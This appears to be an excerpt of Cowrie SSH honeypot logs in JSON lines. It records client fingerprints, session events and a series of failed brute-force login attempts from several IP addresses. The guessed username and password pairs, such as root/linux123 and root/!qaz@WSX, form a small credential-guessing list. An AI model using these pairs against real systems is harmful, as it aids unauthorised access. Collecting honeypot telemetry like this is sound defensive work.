{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:36.399983Z","src_ip":"139.59.208.49","session":"11e398a67e44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:36.761015Z","src_ip":"139.59.208.49","session":"11e398a67e44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:37.409050Z","src_ip":"8.218.166.49","session":"ec1cad3e4c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:37.846609Z","src_ip":"139.59.208.49","session":"11e398a67e44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:48.870375Z","src_ip":"8.218.166.49","session":"8ecaa1a9bc04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":18282,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd28b8272a27","protocol":"ssh","message":"New connection: 190.167.237.191:18282 (159.203.135.109:22) [session: cd28b8272a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:50.814815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:50.819511Z","src_ip":"190.167.237.191","session":"cd28b8272a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:50.874984Z","src_ip":"190.167.237.191","session":"cd28b8272a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:51.124041Z","src_ip":"190.167.237.191","session":"cd28b8272a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:52.182265Z","src_ip":"190.167.237.191","session":"cd28b8272a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:54.964200Z","src_ip":"8.218.166.49","session":"827e9105f056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":35478,"dst_ip":"159.203.135.109","dst_port":22,"session":"fabfa6a870f1","protocol":"ssh","message":"New connection: 124.155.125.131:35478 (159.203.135.109:22) [session: fabfa6a870f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:55.548837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:55.553598Z","src_ip":"124.155.125.131","session":"fabfa6a870f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:55.726200Z","src_ip":"124.155.125.131","session":"fabfa6a870f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer!@#$","message":"login attempt [root/1234qwer!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:56.449123Z","src_ip":"124.155.125.131","session":"fabfa6a870f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:57.625451Z","src_ip":"124.155.125.131","session":"fabfa6a870f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"59.3","message":"Connection lost after 59.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:06.841068Z","src_ip":"8.218.166.49","session":"8ecaa1a9bc04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:09.237077Z","src_ip":"8.218.166.49","session":"ad97ac31c346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":53420,"dst_ip":"159.203.135.109","dst_port":22,"session":"562c6af503af","protocol":"ssh","message":"New connection: 189.113.47.155:53420 (159.203.135.109:22) [session: 562c6af503af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:21.315514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:21.320125Z","src_ip":"189.113.47.155","session":"562c6af503af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:21.435508Z","src_ip":"189.113.47.155","session":"562c6af503af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:21.930288Z","src_ip":"189.113.47.155","session":"562c6af503af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:23.048980Z","src_ip":"189.113.47.155","session":"562c6af503af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":40466,"dst_ip":"159.203.135.109","dst_port":22,"session":"6843a05736e1","protocol":"ssh","message":"New connection: 139.59.208.49:40466 (159.203.135.109:22) [session: 6843a05736e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:39.329064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:39.333652Z","src_ip":"139.59.208.49","session":"6843a05736e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:39.416174Z","src_ip":"139.59.208.49","session":"6843a05736e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:39.774591Z","src_ip":"139.59.208.49","session":"6843a05736e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:40.859358Z","src_ip":"139.59.208.49","session":"6843a05736e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41518,"dst_ip":"10.17.0.5","dst_port":22,"session":"65f63d9ebbe0","protocol":"ssh","message":"New connection: 8.218.166.49:41518 (10.17.0.5:22) [session: 65f63d9ebbe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:47.829224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:49.657884Z","src_ip":"8.218.166.49","session":"65f63d9ebbe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:49.665438Z","src_ip":"8.218.166.49","session":"65f63d9ebbe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:57.501003Z","src_ip":"8.218.166.49","session":"65f63d9ebbe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:11:59.189529Z","src_ip":"8.218.166.49","session":"65f63d9ebbe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":46900,"dst_ip":"159.203.135.109","dst_port":22,"session":"744b6b96bcad","protocol":"ssh","message":"New connection: 190.167.237.191:46900 (159.203.135.109:22) [session: 744b6b96bcad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:07.014161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:07.020240Z","src_ip":"190.167.237.191","session":"744b6b96bcad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:07.077786Z","src_ip":"190.167.237.191","session":"744b6b96bcad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passpass","message":"login attempt [root/passpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:07.337170Z","src_ip":"190.167.237.191","session":"744b6b96bcad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:08.397697Z","src_ip":"190.167.237.191","session":"744b6b96bcad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":33332,"dst_ip":"159.203.135.109","dst_port":22,"session":"51e3fce22a10","protocol":"ssh","message":"New connection: 124.155.125.131:33332 (159.203.135.109:22) [session: 51e3fce22a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:13.945570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:13.950396Z","src_ip":"124.155.125.131","session":"51e3fce22a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:14.125885Z","src_ip":"124.155.125.131","session":"51e3fce22a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lloyd","message":"login attempt [root/lloyd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:14.852974Z","src_ip":"124.155.125.131","session":"51e3fce22a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:16.029728Z","src_ip":"124.155.125.131","session":"51e3fce22a10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":46814,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc35e6b6238a","protocol":"ssh","message":"New connection: 139.59.208.49:46814 (159.203.135.109:22) [session: dc35e6b6238a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:41.620867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:41.626096Z","src_ip":"139.59.208.49","session":"dc35e6b6238a","protocol":"ssh"}
